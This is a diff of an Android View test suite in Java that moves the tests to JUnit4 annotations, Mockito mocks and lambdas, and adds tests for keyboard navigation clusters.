+        // View is a cluster (but not focusable, so technically empty)
+        view.setKeyboardNavigationCluster(true);
+        view.addKeyboardNavigationClusters(viewList, 0);
+        assertEquals(0, viewList.size());
+        viewList.clear();
+        // a focusable cluster is not-empty
+        view.setFocusableInTouchMode(true);
+        view.addKeyboardNavigationClusters(viewList, 0);
+        assertEquals(1, viewList.size());
+        assertEquals(view, viewList.get(0));
+    }
+
+    @Test
+    public void testKeyboardNavigationClusterSearch() {
+        mMockParent.setIsRootNamespace(true);
+        View v1 = new MockView(mActivity);
+        v1.setFocusableInTouchMode(true);
+        View v2 = new MockView(mActivity);
+        v2.setFocusableInTouchMode(true);
+        mMockParent.addView(v1);
+        mMockParent.addView(v2);
+
+        // Searching for clusters.
+        v1.setKeyboardNavigationCluster(true);
+        v2.setKeyboardNavigationCluster(true);
+        assertEquals(v2, mMockParent.keyboardNavigationClusterSearch(v1, View.FOCUS_FORWARD));
+        assertEquals(v1, mMockParent.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+        assertEquals(v2, mMockParent.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
+        assertEquals(v2, v1.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+        assertEquals(mMockParent, v1.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
+        assertEquals(mMockParent, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+        assertEquals(v1, v2.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
+
+        // Clusters in 3-level hierarchy.
+        ViewGroup root = new MockViewParent(mActivity);
+        root.setIsRootNamespace(true);
+        mMockParent.setIsRootNamespace(false);
+        root.addView(mMockParent);
+        assertEquals(root, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+    }
+
+    @Test
     public void testGetRootView() {
         MockView view = new MockView(mActivity);
 
@@ -1204,12 +1265,14 @@
         assertEquals(mMockParent, view.getRootView());
     }
 
+    @Test
     public void testGetSolidColor() {
         View view = new View(mActivity);
 
         assertEquals(0, view.getSolidColor());
     }
 
+    @Test
     public void testSetMinimumWidth() {
         MockView view = new MockView(mActivity);
         assertEquals(0, view.getSuggestedMinimumWidth());
@@ -1221,6 +1284,7 @@
         assertEquals(-100, view.getSuggestedMinimumWidth());
     }
 
+    @Test
     public void testGetSuggestedMinimumWidth() {
         MockView view = new MockView(mActivity);
         Drawable d = mResources.getDrawable(R.drawable.scenery);
@@ -1241,6 +1305,7 @@
         assertEquals(drawableMinimumWidth + 10, view.getSuggestedMinimumWidth());
     }
 
+    @Test
     public void testSetMinimumHeight() {
         MockView view = new MockView(mActivity);
         assertEquals(0, view.getSuggestedMinimumHeight());
@@ -1252,6 +1317,7 @@
         assertEquals(-100, view.getSuggestedMinimumHeight());
     }
 
+    @Test
     public void testGetSuggestedMinimumHeight() {
         MockView view = new MockView(mActivity);
         Drawable d = mResources.getDrawable(R.drawable.scenery);
@@ -1272,6 +1338,7 @@
         assertEquals(drawableMinimumHeight + 10, view.getSuggestedMinimumHeight());
     }
 
+    @Test
     public void testAccessWillNotCacheDrawing() {
         View view = new View(mActivity);
 
@@ -1281,6 +1348,7 @@
         assertTrue(view.willNotCacheDrawing());
     }
 
+    @Test
     public void testAccessDrawingCacheEnabled() {
         View view = new View(mActivity);
 
@@ -1290,6 +1358,7 @@
         assertTrue(view.isDrawingCacheEnabled());
     }
 
+    @Test
     public void testGetDrawingCache() {
         MockView view = new MockView(mActivity);
 
@@ -1313,6 +1382,7 @@
         assertNotSame(bitmap1, bitmap2);
     }
 
+    @Test
     public void testBuildAndDestroyDrawingCache() {
         MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
 
@@ -1328,6 +1398,7 @@
         assertNull(view.getDrawingCache());
     }
 
+    @Test
     public void testAccessWillNotDraw() {
         View view = new View(mActivity);
 
@@ -1337,6 +1408,7 @@
         assertTrue(view.willNotDraw());
     }
 
+    @Test
     public void testAccessDrawingCacheQuality() {
         View view = new View(mActivity);
 
@@ -1356,6 +1428,7 @@
         assertEquals(0x00180000, view.getDrawingCacheQuality());
     }
 
+    @Test
     public void testDispatchSetSelected() {
         MockView mockView1 = new MockView(mActivity);
         MockView mockView2 = new MockView(mActivity);
@@ -1371,6 +1444,7 @@
         assertFalse(mockView2.isSelected());
     }
 
+    @Test
     public void testAccessSelected() {
         View view = new View(mActivity);
 
@@ -1380,6 +1454,7 @@
         assertTrue(view.isSelected());
     }
 
+    @Test
     public void testDispatchSetPressed() {
         MockView mockView1 = new MockView(mActivity);
         MockView mockView2 = new MockView(mActivity);
@@ -1395,6 +1470,7 @@
         assertFalse(mockView2.isPressed());
     }
 
+    @Test
     public void testAccessPressed() {
         View view = new View(mActivity);
 
@@ -1404,6 +1480,7 @@
         assertTrue(view.isPressed());
     }
 
+    @Test
     public void testAccessSoundEffectsEnabled() {
         View view = new View(mActivity);
 
@@ -1413,6 +1490,7 @@
         assertFalse(view.isSoundEffectsEnabled());
     }
 
+    @Test
     public void testAccessKeepScreenOn() {
         View view = new View(mActivity);
 
@@ -1422,6 +1500,7 @@
         assertTrue(view.getKeepScreenOn());
     }
 
+    @Test
     public void testAccessDuplicateParentStateEnabled() {
         View view = new View(mActivity);
 
@@ -1431,6 +1510,7 @@
         assertTrue(view.isDuplicateParentStateEnabled());
     }
 
+    @Test
     public void testAccessEnabled() {
         View view = new View(mActivity);
 
@@ -1440,6 +1520,7 @@
         assertFalse(view.isEnabled());
     }
 
+    @Test
     public void testAccessSaveEnabled() {
         View view = new View(mActivity);
 
@@ -1449,16 +1530,17 @@
         assertFalse(view.isSaveEnabled());
     }
 
-    public void testShowContextMenu() {
+    @Test(expected=NullPointerException.class)
+    public void testShowContextMenuNullParent() {
         MockView view = new MockView(mActivity);
 
         assertNull(view.getParent());
-        try {
-            view.showContextMenu();
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
+        view.showContextMenu();
+    }
 
+    @Test
+    public void testShowContextMenu() {
+        MockView view = new MockView(mActivity);
         view.setParent(mMockParent);
         assertFalse(mMockParent.hasShowContextMenuForChild());
 
@@ -1466,16 +1548,18 @@
         assertTrue(mMockParent.hasShowContextMenuForChild());
     }
 
-    public void testShowContextMenuXY() {
-        MockViewParent parent = new MockViewParent(mActivity);
+    @Test(expected=NullPointerException.class)
+    public void testShowContextMenuXYNullParent() {
         MockView view = new MockView(mActivity);
 
         assertNull(view.getParent());
-        try {
-            view.showContextMenu(0, 0);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
+        view.showContextMenu(0, 0);
+    }
+
+    @Test
+    public void testShowContextMenuXY() {
+        MockViewParent parent = new MockViewParent(mActivity);
+        MockView view = new MockView(mActivity);
 
         view.setParent(parent);
         assertFalse(parent.hasShowContextMenuForChildXY());
@@ -1484,6 +1568,7 @@
         assertTrue(parent.hasShowContextMenuForChildXY());
     }
 
+    @Test
     public void testFitSystemWindows() {
         final XmlResourceParser parser = mResources.getLayout(R.layout.view_layout);
         final AttributeSet attrs = Xml.asAttributeSet(parser);
@@ -1498,22 +1583,24 @@
         assertFalse(view.fitSystemWindows(null));
     }
 
+    @Test
     public void testPerformClick() {
         View view = new View(mActivity);
-        OnClickListenerImpl listener = new OnClickListenerImpl();
+        View.OnClickListener listener = mock(View.OnClickListener.class);
 
         assertFalse(view.performClick());
 
-        assertFalse(listener.hasOnClick());
+        verifyZeroInteractions(listener);
         view.setOnClickListener(listener);
 
         assertTrue(view.performClick());
-        assertTrue(listener.hasOnClick());
+        verify(listener,times(1)).onClick(view);
 
         view.setOnClickListener(null);
         assertFalse(view.performClick());
     }
 
+    @Test
     public void testSetOnClickListener() {
         View view = new View(mActivity);
         assertFalse(view.performClick());
@@ -1523,20 +1610,22 @@
         assertFalse(view.performClick());
         assertTrue(view.isClickable());
 
-        view.setOnClickListener(new OnClickListenerImpl());
+        view.setOnClickListener(mock(View.OnClickListener.class));
         assertTrue(view.performClick());
         assertTrue(view.isClickable());
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testPerformLongClickNullParent() {
+        MockView view = new MockView(mActivity);
+        view.performLongClick();
+    }
+
+    @Test
     public void testPerformLongClick() {
         MockView view = new MockView(mActivity);
-        OnLongClickListenerImpl listener = new OnLongClickListenerImpl();
-
-        try {
-            view.performLongClick();
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
+        View.OnLongClickListener listener = mock(View.OnLongClickListener.class);
+        doReturn(true).when(listener).onLongClick(any());
 
         view.setParent(mMockParent);
         assertFalse(mMockParent.hasShowContextMenuForChild());
@@ -1546,22 +1635,23 @@
         view.setOnLongClickListener(listener);
         mMockParent.reset();
         assertFalse(mMockParent.hasShowContextMenuForChild());
-        assertFalse(listener.hasOnLongClick());
+        verifyZeroInteractions(listener);
         assertTrue(view.performLongClick());
         assertFalse(mMockParent.hasShowContextMenuForChild());
-        assertTrue(listener.hasOnLongClick());
+        verify(listener, times(1)).onLongClick(view);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testPerformLongClickXYNullParent() {
+        MockView view = new MockView(mActivity);
+        view.performLongClick(0, 0);
+    }
+
+    @Test
     public void testPerformLongClickXY() {
         MockViewParent parent = new MockViewParent(mActivity);
         MockView view = new MockView(mActivity);
 
-        try {
-            view.performLongClick(0, 0);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
-
         parent.addView(view);
         assertFalse(parent.hasShowContextMenuForChildXY());
 
@@ -1570,6 +1660,7 @@
         assertTrue(parent.hasShowContextMenuForChildXY());
     }
 
+    @Test
     public void testPerformLongClickXY_WithListener() {
         OnLongClickListener listener = mock(OnLongClickListener.class);
         when(listener.onLongClick(any(View.class))).thenReturn(true);
@@ -1589,6 +1680,7 @@
         verify(listener).onLongClick(view);
     }
 
+    @Test
     public void testSetOnLongClickListener() {
         MockView view = new MockView(mActivity);
         view.setParent(mMockParent);
@@ -1599,24 +1691,28 @@
         assertFalse(view.performLongClick());
         assertTrue(view.isLongClickable());
 
-        view.setOnLongClickListener(new OnLongClickListenerImpl());
+        View.OnLongClickListener listener = mock(View.OnLongClickListener.class);
+        doReturn(true).when(listener).onLongClick(any());
+        view.setOnLongClickListener(listener);
         assertTrue(view.performLongClick());
         assertTrue(view.isLongClickable());
     }
 
+    @Test
     public void testPerformContextClick() {
         MockView view = new MockView(mActivity);
         view.setParent(mMockParent);
-        OnContextClickListenerImpl listener = new OnContextClickListenerImpl();
+        View.OnContextClickListener listener = mock(View.OnContextClickListener.class);
+        doReturn(true).when(listener).onContextClick(any());
 
         view.setOnContextClickListener(listener);
-        assertFalse(listener.hasOnContextClick());
+        verifyZeroInteractions(listener);
 
         assertTrue(view.performContextClick());
-        assertTrue(listener.hasOnContextClick());
-        assertSame(view, listener.getLastViewContextClicked());
+        verify(listener, times(1)).onContextClick(view);
     }
 
+    @Test
     public void testSetOnContextClickListener() {
         MockView view = new MockView(mActivity);
         view.setParent(mMockParent);
@@ -1624,14 +1720,17 @@
         assertFalse(view.performContextClick());
         assertFalse(view.isContextClickable());
 
-        view.setOnContextClickListener(new OnContextClickListenerImpl());
+        View.OnContextClickListener listener = mock(View.OnContextClickListener.class);
+        doReturn(true).when(listener).onContextClick(any());
+        view.setOnContextClickListener(listener);
         assertTrue(view.performContextClick());
         assertTrue(view.isContextClickable());
     }
 
+    @Test
     public void testAccessOnFocusChangeListener() {
         View view = new View(mActivity);
-        OnFocusChangeListener listener = new OnFocusChangeListenerImpl();
+        View.OnFocusChangeListener listener = mock(View.OnFocusChangeListener.class);
 
         assertNull(view.getOnFocusChangeListener());
 
@@ -1639,6 +1738,7 @@
         assertSame(listener, view.getOnFocusChangeListener());
     }
 
+    @Test
     public void testAccessNextFocusUpId() {
         View view = new View(mActivity);
 
@@ -1654,6 +1754,7 @@
         assertEquals(Integer.MIN_VALUE, view.getNextFocusUpId());
     }
 
+    @Test
     public void testAccessNextFocusDownId() {
         View view = new View(mActivity);
 
@@ -1669,6 +1770,7 @@
         assertEquals(Integer.MIN_VALUE, view.getNextFocusDownId());
     }
 
+    @Test
     public void testAccessNextFocusLeftId() {
         View view = new View(mActivity);
 
@@ -1684,6 +1786,7 @@
         assertEquals(Integer.MIN_VALUE, view.getNextFocusLeftId());
     }
 
+    @Test
     public void testAccessNextFocusRightId() {
         View view = new View(mActivity);
 
@@ -1699,6 +1802,7 @@
         assertEquals(Integer.MIN_VALUE, view.getNextFocusRightId());
     }
 
+    @Test
     public void testAccessMeasuredDimension() {
         MockView view = new MockView(mActivity);
         assertEquals(0, view.getMeasuredWidth());
@@ -1709,6 +1813,7 @@
         assertEquals(30, view.getMeasuredHeight());
     }
 
+    @Test
     public void testMeasure() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         assertTrue(view.hasCalledOnMeasure());
@@ -1716,49 +1821,41 @@
         assertEquals(200, view.getMeasuredHeight());
 
         view.reset();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.requestLayout();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(view::requestLayout);
+        mInstrumentation.waitForIdleSync();
         assertTrue(view.hasCalledOnMeasure());
         assertEquals(100, view.getMeasuredWidth());
         assertEquals(200, view.getMeasuredHeight());
 
         view.reset();
         final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(200, 100);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setLayoutParams(layoutParams);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams));
+        mInstrumentation.waitForIdleSync();
         assertTrue(view.hasCalledOnMeasure());
         assertEquals(200, view.getMeasuredWidth());
         assertEquals(100, view.getMeasuredHeight());
     }
 
+    @Test(expected=NullPointerException.class)
+    public void setSetLayoutParamsNull() {
+        View view = new View(mActivity);
+        assertNull(view.getLayoutParams());
+
+        view.setLayoutParams(null);
+    }
+
+    @Test
     public void testAccessLayoutParams() {
         View view = new View(mActivity);
         ViewGroup.LayoutParams params = new ViewGroup.LayoutParams(10, 20);
 
-        assertNull(view.getLayoutParams());
-
-        try {
-            view.setLayoutParams(null);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
-
         assertFalse(view.isLayoutRequested());
         view.setLayoutParams(params);
         assertSame(params, view.getLayoutParams());
         assertTrue(view.isLayoutRequested());
     }
 
+    @Test
     public void testIsShown() {
         MockView view = new MockView(mActivity);
 
@@ -1774,6 +1871,7 @@
         assertFalse(view.isShown());
     }
 
+    @Test
     public void testGetDrawingTime() {
         View view = new View(mActivity);
         // mAttachInfo is null
@@ -1784,16 +1882,12 @@
         assertEquals(SystemClock.uptimeMillis(), view.getDrawingTime(), 1000);
     }
 
+    @Test
     public void testScheduleDrawable() {
         View view = new View(mActivity);
         Drawable drawable = new StateListDrawable();
-        Runnable what = new Runnable() {
-            @Override
-            public void run() {
-                // do nothing
-            }
-        };
-
+        // Does nothing.
+        Runnable what = () -> {};
         // mAttachInfo is null
         view.scheduleDrawable(drawable, what, 1000);
 
@@ -1812,14 +1906,12 @@
         view.scheduleDrawable(null, null, -1000);
     }
 
+    @Test
     public void testUnscheduleDrawable() {
         View view = new View(mActivity);
         Drawable drawable = new StateListDrawable();
-        Runnable what = new Runnable() {
-            @Override
-            public void run() {
-                // do nothing
-            }
+        Runnable what = () -> {
+            // do nothing
         };
 
         // mAttachInfo is null
@@ -1842,6 +1934,7 @@
         view.unscheduleDrawable(null, null);
     }
 
+    @Test
     public void testGetWindowVisibility() {
         View view = new View(mActivity);
         // mAttachInfo is null
@@ -1852,6 +1945,7 @@
         assertEquals(View.VISIBLE, view.getWindowVisibility());
     }
 
+    @Test
     public void testGetWindowToken() {
         View view = new View(mActivity);
         // mAttachInfo is null
@@ -1862,6 +1956,7 @@
         assertNotNull(view.getWindowToken());
     }
 
+    @Test
     public void testHasWindowFocus() {
         View view = new View(mActivity);
         // mAttachInfo is null
@@ -1870,37 +1965,35 @@
         // mAttachInfo is not null
         final View view2 = mActivity.findViewById(R.id.fit_windows);
         // Wait until the window has been focused.
-        new PollingCheck(TIMEOUT_DELTA) {
-            @Override
-            protected boolean check() {
-                return view2.hasWindowFocus();
-            }
-        }.run();
+        PollingCheck.waitFor(TIMEOUT_DELTA, view2::hasWindowFocus);
     }
 
+    @Test
     public void testGetHandler() {
         MockView view = new MockView(mActivity);
         // mAttachInfo is null
         assertNull(view.getHandler());
     }
 
+    @Test
     public void testRemoveCallbacks() throws InterruptedException {
         final long delay = 500L;
         View view = mActivity.findViewById(R.id.mock_view);
-        MockRunnable runner = new MockRunnable();
+        Runnable runner = mock(Runnable.class);
         assertTrue(view.postDelayed(runner, delay));
         assertTrue(view.removeCallbacks(runner));
         assertTrue(view.removeCallbacks(null));
-        assertTrue(view.removeCallbacks(new MockRunnable()));
+        assertTrue(view.removeCallbacks(mock(Runnable.class)));
         Thread.sleep(delay * 2);
-        assertFalse(runner.hasRun);
+        verifyZeroInteractions(runner);
         // check that the runner actually works
-        runner = new MockRunnable();
+        runner = mock(Runnable.class);
         assertTrue(view.postDelayed(runner, delay));
         Thread.sleep(delay * 2);
-        assertTrue(runner.hasRun);
+        verify(runner, times(1)).run();
     }
 
+    @Test
     public void testCancelLongPress() {
         View view = new View(mActivity);
         // mAttachInfo is null
@@ -1911,6 +2004,7 @@
         view.cancelLongPress();
     }
 
+    @Test
     public void testGetViewTreeObserver() {
         View view = new View(mActivity);
         // mAttachInfo is null
@@ -1921,6 +2015,7 @@
         assertNotNull(view.getViewTreeObserver());
     }
 
+    @Test
     public void testGetWindowAttachCount() {
         MockView view = new MockView(mActivity);
         // mAttachInfo is null
@@ -1928,6 +2023,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testOnAttachedToAndDetachedFromWindow() {
         MockView mockView = new MockView(mActivity);
         ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
@@ -1946,11 +2042,12 @@
         assertTrue(mockView.hasCalledOnDetachedFromWindow());
     }
 
+    @Test
     public void testGetLocationInWindow() {
-        int[] location = new int[] { -1, -1 };
+        final int[] location = new int[]{-1, -1};
 
-        View layout = mActivity.findViewById(R.id.viewlayout_root);
-        int[] layoutLocation = new int[] { -1, -1 };
+        final View layout = mActivity.findViewById(R.id.viewlayout_root);
+        int[] layoutLocation = new int[]{-1, -1};
         layout.getLocationInWindow(layoutLocation);
 
         final View mockView = mActivity.findViewById(R.id.mock_view);
@@ -1958,55 +2055,63 @@
         assertEquals(layoutLocation[0], location[0]);
         assertEquals(layoutLocation[1], location[1]);
 
-        View scrollView = mActivity.findViewById(R.id.scroll_view);
+        final View scrollView = mActivity.findViewById(R.id.scroll_view);
         scrollView.getLocationInWindow(location);
         assertEquals(layoutLocation[0], location[0]);
         assertEquals(layoutLocation[1] + mockView.getHeight(), location[1]);
-
-        try {
-            mockView.getLocationInWindow(null);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            mockView.getLocationInWindow(new int[] { 0 });
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
     }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetLocationInWindowNullArray() {
+        final View layout = mActivity.findViewById(R.id.viewlayout_root);
+        final View mockView = mActivity.findViewById(R.id.mock_view);
+
+        mockView.getLocationInWindow(null);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetLocationInWindowSmallArray() {
+        final View layout = mActivity.findViewById(R.id.viewlayout_root);
+        final View mockView = mActivity.findViewById(R.id.mock_view);
+
+        mockView.getLocationInWindow(new int[] { 0 });
+    }
+
+    @Test
     public void testGetLocationOnScreen() {
-        int[] location = new int[] { -1, -1 };
+        final int[] location = new int[]{-1, -1};
 
         // mAttachInfo is not null
-        View layout = mActivity.findViewById(R.id.viewlayout_root);
-        int[] layoutLocation = new int[] { -1, -1 };
+        final View layout = mActivity.findViewById(R.id.viewlayout_root);
+        final int[] layoutLocation = new int[]{-1, -1};
         layout.getLocationOnScreen(layoutLocation);
 
-        View mockView = mActivity.findViewById(R.id.mock_view);
+        final View mockView = mActivity.findViewById(R.id.mock_view);
         mockView.getLocationOnScreen(location);
         assertEquals(layoutLocation[0], location[0]);
         assertEquals(layoutLocation[1], location[1]);
 
-        View scrollView = mActivity.findViewById(R.id.scroll_view);
+        final View scrollView = mActivity.findViewById(R.id.scroll_view);
         scrollView.getLocationOnScreen(location);
         assertEquals(layoutLocation[0], location[0]);
         assertEquals(layoutLocation[1] + mockView.getHeight(), location[1]);
-
-        try {
-            scrollView.getLocationOnScreen(null);
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
-
-        try {
-            scrollView.getLocationOnScreen(new int[] { 0 });
-            fail("should throw IllegalArgumentException");
-        } catch (IllegalArgumentException e) {
-        }
     }
 
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetLocationOnScreenNullArray() {
+        final View scrollView = mActivity.findViewById(R.id.scroll_view);
+
+        scrollView.getLocationOnScreen(null);
+    }
+
+    @Test(expected=IllegalArgumentException.class)
+    public void testGetLocationOnScreenSmallArray() {
+        final View scrollView = mActivity.findViewById(R.id.scroll_view);
+
+        scrollView.getLocationOnScreen(new int[] { 0 });
+    }
+
+    @Test
     public void testAddTouchables() {
         View view = new View(mActivity);
         ArrayList<View> result = new ArrayList<>();
@@ -2033,6 +2138,7 @@
         assertEquals(0, result.size());
     }
 
+    @Test
     public void testGetTouchables() {
         View view = new View(mActivity);
         ArrayList<View> result;
@@ -2052,6 +2158,7 @@
         assertEquals(0, result.size());
     }
 
+    @Test
     public void testInflate() {
         View view = View.inflate(mActivity, R.layout.view_layout, null);
         assertNotNull(view);
@@ -2062,6 +2169,7 @@
         assertTrue(mockView.hasCalledOnFinishInflate());
     }
 
+    @Test
     public void testIsInTouchMode() {
         View view = new View(mActivity);
         // mAttachInfo is null
@@ -2072,11 +2180,13 @@
         assertFalse(view.isInTouchMode());
     }
 
+    @Test
     public void testIsInEditMode() {
         View view = new View(mActivity);
         assertFalse(view.isInEditMode());
     }
 
+    @Test
     public void testPostInvalidate1() {
         View view = new View(mActivity);
         // mAttachInfo is null
@@ -2087,6 +2197,7 @@
         view.postInvalidate();
     }
 
+    @Test
     public void testPostInvalidate2() {
         View view = new View(mActivity);
         // mAttachInfo is null
@@ -2098,6 +2209,7 @@
         view.postInvalidate(0, -20, -30, -40);
     }
 
+    @Test
     public void testPostInvalidateDelayed() {
         View view = new View(mActivity);
         // mAttachInfo is null
@@ -2111,9 +2223,10 @@
         view.postInvalidateDelayed(-1);
     }
 
+    @Test
     public void testPost() {
         View view = new View(mActivity);
-        MockRunnable action = new MockRunnable();
+        Runnable action = mock(Runnable.class);
 
         // mAttachInfo is null
         assertTrue(view.post(action));
@@ -2125,9 +2238,10 @@
         assertTrue(view.post(null));
     }
 
+    @Test
     public void testPostDelayed() {
         View view = new View(mActivity);
-        MockRunnable action = new MockRunnable();
+        Runnable action = mock(Runnable.class);
 
         // mAttachInfo is null
         assertTrue(view.postDelayed(action, 1000));
@@ -2140,6 +2254,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testPlaySoundEffect() {
         MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         // sound effect enabled
@@ -2152,33 +2267,27 @@
         // no way to assert the soundConstant be really played.
     }
 
+    @Test
     public void testOnKeyShortcut() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setFocusable(true);
-                view.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.setFocusable(true);
+            view.requestFocus();
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
         assertTrue(view.isFocused());
 
         KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MENU);
-        getInstrumentation().sendKeySync(event);
+        mInstrumentation.sendKeySync(event);
         event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
-        getInstrumentation().sendKeySync(event);
+        mInstrumentation.sendKeySync(event);
         assertTrue(view.hasCalledOnKeyShortcut());
     }
 
+    @Test
     public void testOnKeyMultiple() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setFocusable(true);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> view.setFocusable(true));
 
         assertFalse(view.hasCalledOnKeyMultiple());
         view.dispatchKeyEvent(new KeyEvent(KeyEvent.ACTION_MULTIPLE, KeyEvent.KEYCODE_ENTER));
@@ -2186,6 +2295,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testDispatchKeyShortcutEvent() {
         MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
         view.setFocusable(true);
@@ -2193,36 +2303,38 @@
         KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
         view.dispatchKeyShortcutEvent(event);
         assertTrue(view.hasCalledOnKeyShortcut());
-
-        try {
-            view.dispatchKeyShortcutEvent(null);
-            fail("should throw NullPointerException");
-        } catch (NullPointerException e) {
-        }
     }
 
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testDispatchKeyShortcutEventNull() {
+        MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
+        view.setFocusable(true);
+
+        view.dispatchKeyShortcutEvent(null);
+    }
+
+    @Test
     public void testOnTrackballEvent() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setEnabled(true);
-                view.setFocusable(true);
-                view.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.setEnabled(true);
+            view.setFocusable(true);
+            view.requestFocus();
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
 
         long downTime = SystemClock.uptimeMillis();
         long eventTime = downTime;
         MotionEvent event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_MOVE,
                 1, 2, 0);
-        getInstrumentation().sendTrackballEventSync(event);
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.sendTrackballEventSync(event);
+        mInstrumentation.waitForIdleSync();
         assertTrue(view.hasCalledOnTrackballEvent());
     }
 
     @UiThreadTest
+    @Test
     public void testDispatchTrackballMoveEvent() {
         ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
         MockView mockView1 = new MockView(mActivity);
@@ -2253,69 +2365,49 @@
         assertTrue(mockView2.hasCalledOnTrackballEvent());
     }
 
+    @Test
     public void testDispatchUnhandledMove() throws Throwable {
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setFocusable(true);
-                view.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.setFocusable(true);
+            view.requestFocus();
         });
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
 
         KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_DPAD_RIGHT);
-        getInstrumentation().sendKeySync(event);
+        mInstrumentation.sendKeySync(event);
 
         assertTrue(view.hasCalledDispatchUnhandledMove());
     }
 
+    @Test
     public void testWindowVisibilityChanged() throws Throwable {
         final MockView mockView = new MockView(mActivity);
         final ViewGroup viewGroup = (ViewGroup) mActivity.findViewById(R.id.viewlayout_root);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                viewGroup.addView(mockView);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> viewGroup.addView(mockView));
+        mInstrumentation.waitForIdleSync();
         assertTrue(mockView.hasCalledOnWindowVisibilityChanged());
 
         mockView.reset();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                getActivity().setVisible(false);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> mActivity.setVisible(false));
+        mInstrumentation.waitForIdleSync();
         assertTrue(mockView.hasCalledDispatchWindowVisibilityChanged());
         assertTrue(mockView.hasCalledOnWindowVisibilityChanged());
 
         mockView.reset();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                getActivity().setVisible(true);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> mActivity.setVisible(true));
+        mInstrumentation.waitForIdleSync();
         assertTrue(mockView.hasCalledDispatchWindowVisibilityChanged());
         assertTrue(mockView.hasCalledOnWindowVisibilityChanged());
 
         mockView.reset();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                viewGroup.removeView(mockView);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> viewGroup.removeView(mockView));
+        mInstrumentation.waitForIdleSync();
         assertTrue(mockView.hasCalledOnWindowVisibilityChanged());
     }
 
+    @Test
     public void testGetLocalVisibleRect() throws Throwable {
         final View view = mActivity.findViewById(R.id.mock_view);
         Rect rect = new Rect();
@@ -2327,39 +2419,26 @@
         assertEquals(200, rect.bottom);
 
         final LinearLayout.LayoutParams layoutParams1 = new LinearLayout.LayoutParams(0, 300);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                view.setLayoutParams(layoutParams1);
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams1));
+        mInstrumentation.waitForIdleSync();
